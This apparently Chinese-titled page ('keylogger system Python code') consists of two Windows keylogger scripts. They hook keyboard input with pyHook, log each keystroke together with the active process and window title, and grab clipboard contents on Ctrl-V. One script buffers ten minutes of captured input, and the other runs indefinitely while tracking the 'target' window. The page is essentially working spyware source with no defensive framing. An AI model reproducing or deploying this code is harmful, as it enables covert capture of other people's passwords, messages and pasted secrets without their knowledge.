键盘记录系统Python代码

from ctypes import byref, create_string_buffer,  c_ulong, windll
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 60*10

class KeyLogger:
    def __init__(self):
        self.current_window = None
   
    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
        process_id = f'{pid.value}'
        
        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
        windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
        
        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
        try:
            self.current_window = window_title.value.decode()
        except UnicodeDecodeError as e:
            print(f'{e}: window name unknown')
        
        print('\n', process_id, executable.value.decode(), self.current_window)

        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystroke(self, event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii), end='')
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f'[PASTE] - {value}')
            else:
                print(f'{event.Key}')  
        return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    kl = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = kl.mykeystroke
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()
        
    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log
   
if __name__ == '__main__':
    print(run())
    print('done.')
   

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    # get a handle to the foreground window
    hwnd = user32.GetForegroundWindow()

    # find the process ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # store the current process ID
    process_id = "%d" % pid.value

    # grab the executable
    executable = create_string_buffer(b'\x00' * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    # now read it's title
    window_title = create_string_buffer(b'\x00' * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # print out the header if we're in the right process
    print()
    print("[ PID: %s - %s - %s ]" % (process_id,
                                     executable.value,
                                     window_title.value)
          )
    print()

    # close handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):
    global current_window

    # check to see if target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # if they pressed a standard key
    if 32 < event.Ascii < 127:
        print(chr(event.Ascii), end=' ')
    else:
        # if [Ctrl-V], get the value on the clipboard
        # added by Dan Frisch 2014
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print("[PASTE] - %s" % pasted_value, end=' ')
        else:
            print("[%s]" % event.Key, end=' ')

    # pass execution to next hook registered
    return True


# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()

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